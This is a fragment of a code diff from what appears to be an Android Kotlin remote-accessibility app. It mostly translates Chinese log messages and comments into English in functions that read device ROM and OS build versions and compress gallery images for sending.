AccessibilityRemoteService) { } } - Log.d(TAG, "📱 ROM版本: $romVersion (Brand: $brand)") + Log.d(TAG, "ROM version: $romVersion (Brand: $brand)") romVersion } catch (e: Exception) { - Log.e(TAG, "❌ 获取ROM版本失败", e) + Log.e(TAG, "Get ROM version failed", e) "未知版本" } } @@ -2711,7 +2736,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val result = method.invoke(null, key) as? String result?.takeIf { it.isNotBlank() } } catch (e: Exception) { - Log.w(TAG, "⚠️ 获取系统属性失败: $key", e) + Log.w(TAG, "Get system property failed: $key", e) null } } @@ -2723,12 +2748,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { return try { val brand = android.os.Build.BRAND.lowercase() - // 🔧 针对小米设备的特殊处理 + // Special handling for Xiaomi devices if (brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco")) { // 检查是否为澎湃OS val hyperosProp = getSystemProperty("ro.mi.os.version.incremental") if (!hyperosProp.isNullOrBlank()) { - Log.d(TAG, "📱 检测到澎湃OS,版本: $hyperosProp") + Log.d(TAG, "Detected HyperOS, version: $hyperosProp") return hyperosProp } @@ -2742,7 +2767,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { for (property in miuiIncrementalProps) { val version = getSystemProperty(property) if (!version.isNullOrBlank() && version.length > 3) { - // 🔧 修复澎湃OS版本号格式问题:移除可能的前缀 + // Fix HyperOS version format: remove possible prefix val cleanVersion = when { version.startsWith("V") && version.contains(".") -> { // 如果是V816.0.19.0.UMCCNXM格式,提取.后面的部分 @@ -2753,7 +2778,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } else -> version } - Log.d(TAG, "📱 小米设备OS构建版本: $cleanVersion (原始: $version, 来源: $property)") + Log.d(TAG, "Xiaomi device OS build version: $cleanVersion (raw: $version, source: $property)") return cleanVersion } } @@ -2774,7 +2799,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { for (property in buildProperties) { val version = getSystemProperty(property) if (!version.isNullOrBlank() && version.length > 3) { - Log.d(TAG, "📱 获取到OS构建版本: $version (来源: $property)") + Log.d(TAG, "OS build version: $version (source: $property)") return version } } @@ -2786,11 +2811,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { else -> android.os.Build.VERSION.INCREMENTAL } - Log.d(TAG, "📱 使用fallback OS构建版本: $fallbackVersion") + Log.d(TAG, "Using fallback OS build version: $fallbackVersion") fallbackVersion.ifBlank { "未知版本" } } catch (e: Exception) { - Log.e(TAG, "❌ 获取OS构建版本失败", e) + Log.e(TAG, "Get OS build version failed", e) android.os.Build.VERSION.INCREMENTAL.ifBlank { "未知版本" } } } @@ -2808,7 +2833,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { } val (srcW, srcH) = boundsOptions.outWidth to boundsOptions.outHeight if (srcW <= 0 || srcH <= 0) { - Log.w(TAG, "🖼️ 无法解析图片尺寸: $contentUri") + Log.w(TAG, "Cannot parse image dimensions: $contentUri") return null } @@ -2829,7 +2854,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { val bytes = output.toByteArray() if (bytes.size > maxGalleryImageSize) { - Log.w(TAG, "⚠️ 压缩后图片仍过大(${bytes.size}B),尝试再次降低质量") + Log.w(TAG, "Compressed image still too large(${bytes.size}B), retrying with lower quality") val retryOut = java.io.ByteArrayOutputStream() val retryBitmap = resolver.openInputStream(uri)?.use { input -> android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions) @@ -2838,7 +2863,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { retryBitmap.recycle() val retryBytes = retryOut.toByteArray() if (retryBytes.size > maxGalleryImageSize) { - Log.w(TAG, "⚠️ 二次压缩后仍过大(${retryBytes.size}B),放弃发送: $contentUri") + Log.w(TAG, "Still too large after retry(${retryBytes.size}B), giving up: $contentUri") return null } return android.util.Base64.encodeToString(retryBytes, android.util.Base64.NO_WRAP) @@ -2846,7 +2871,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) { android.util.Base64.encodeToString(bytes, android.util.Base64.NO_WRAP) } catch (e: Exception) { - Log.e(TAG, "❌ 加载/压缩图片失败: $contentUri", e) + Log.e(TAG, "Load/compress image failed: $contentUri", e) null } }